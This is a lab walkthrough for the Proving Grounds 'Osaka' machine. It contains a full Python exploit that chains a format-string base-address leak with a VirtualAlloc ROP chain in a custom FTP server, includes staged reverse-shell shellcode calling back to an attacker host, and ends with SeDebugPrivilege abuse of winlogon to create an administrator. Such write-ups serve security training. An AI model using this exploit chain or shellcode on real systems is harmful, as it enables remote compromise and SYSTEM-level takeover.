Osaka Writeup - Proving Grounds
Created October 8, 2026 • Last updated October 8, 2026 • 4 min read
Osaka exposes a custom "Simple FTP Server" whose DEBUG command leaks the binary's base address through a format string bug, and whose RETR command overflows the stack. Chaining a ROP gadget set that calls VirtualAlloc defeats DEP and drops a shellcode reverse shell as a low-privileged user. From there, an enabled SeDebugPrivilege lets a public tool hijack winlogon to run commands as SYSTEM, which is used to create a new local administrator.
Reconnaissance
Nmap
Scan the target for open services.
PORT STATE SERVICE VERSION 21/tcp open ftp Welcome to Simple FTP Server 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 3389/tcp open ms-wbt-server Microsoft Terminal Services 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) Service Info: Host: Simple; OS: Windows; CPE: cpe:/o:microsoft:windows
Explain command
| -p- | Scan all 65535 TCP ports. |
A custom FTP banner stands out against the usual Windows services. Any username and password logs in, and the server exposes its own binary for download.
Pulling the FTP binary
220 Welcome to Simple FTP Server 230 Login successful 226 File transfer complete.
Local static analysis of ftp.exe turns up two bugs: the DEBUG command passes attacker input straight into a format string, leaking stack data including the binary's own base address and defeating ASLR, and the RETR command copies its argument into a fixed-size stack buffer with no bounds check. DEP is enabled, so landing straight on shellcode on the stack won't execute, which calls for a ROP chain that first marks a region executable.
Exploitation
Buffer overflow with a VirtualAlloc ROP chain
Leak the base address with the format string bug, then build a ROP chain out of gadgets inside the binary that calls VirtualAlloc to allocate executable memory, pivots into it, and runs a staged shellcode reverse shell.
from pwn import *
sc = b""
sc += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64"
sc += b"\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28"
# <snip> windows/shell_reverse_tcp staged shellcode, LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT
p = remote('$TARGET_IP', 21, level='debug')
p.recvuntil(b"220 Welcome to Simple FTP Server")
p.sendline(b"USER admin")
p.recvuntil(b"331 User OK, password required")
p.sendline(b"PASS admin")
p.recvuntil(b"230 Login successful")
# Leak the binary base via a format string bug in the DEBUG command
p.sendline(b"DEBUG " + b"%x|" * 100)
leak = p.recvlines(numlines=2)[-1][6:].split(b"|")
leak_pie = int(leak[0], 16)
bin_base = leak_pie - 0x10f0
print(f"Binary Base: {hex(bin_base)}")
total = 1000
rop_gadgets = [
0xe145 + bin_base, # POP EBP # RETN
0xe145 + bin_base, # skip 4 bytes
0x1d5a9 + bin_base, # POP EBX # RETN
0x1, # EBX = 1
0x1bd7e + bin_base, # POP EDX # RETN
0x1000, # EDX = 0x1000 (VirtualAlloc size)
0x11a2b + bin_base, # POP ECX # RETN
0x40, # ECX = PAGE_EXECUTE_READWRITE
0x4667 + bin_base, # POP EDI # RETN
0x4682 + bin_base, # RETN (ROP NOP)
0x1dff + bin_base, # POP ESI # RETN
0x14adb + bin_base, # JMP [EAX]
0x1d2bf + bin_base, # POP EAX # RETN
0x1e008 + bin_base, # ptr to &VirtualAlloc() [IAT]
0x10d6 + bin_base, # PUSHAD # RETN
0x10da + bin_base, # JMP ESP
]
rop = b"".join(p32(g) for g in rop_gadgets)
buf = b"A" * (268 + 4)
buf += rop
buf += b"\x90" * 10 # NOP sled
buf += sc
buf += b"B" * (total - len(buf))
p.sendline(b"RETR " + buf + b"\r\n")
Generate the matching staged payload and run the exploit against the RETR command.
Binary Base: 0x6f4a0000 [+] Opening connection to $TARGET_IP on port 21: Done
The listener catches a shell reliably.
Connection received on $TARGET_IP Microsoft Windows C:\dev>whoami osakawilson
Shell as osakawilson. Check assigned privileges before enumerating further.
Privilege Escalation
SeDebugPrivilege abuse
PRIVILEGES INFORMATION ---------------------- Privilege Name Description State =============================== ============================================= ======== SeLoadDriverPrivilege Load and unload device drivers Disabled SeDebugPrivilege Debug programs Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeDebugPrivilege is enabled, which lets this account open and manipulate any process, including SYSTEM ones. psgetsystem is a public PowerShell tool built exactly for this: it opens a handle to a SYSTEM process with SeDebugPrivilege and spawns a child process that inherits its token.
Serving HTTP on 0.0.0.0 port 8000 ...
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
595 22 9208 14604 0.48 556 1 winlogon
winlogon always runs as SYSTEM. Feed its PID into CreateProcessFromParent to spawn a command as that token, first confirming it, then creating a new local administrator.
nt authority\system The command completed successfully. The command completed successfully.
The new offsec account is now a local administrator, confirmed over RDP with a SYSTEM-level shell already proven through winlogon impersonation.
Related
References
-
SeDebugPrivilege-based SYSTEM token theft tool used to hijack winlogon.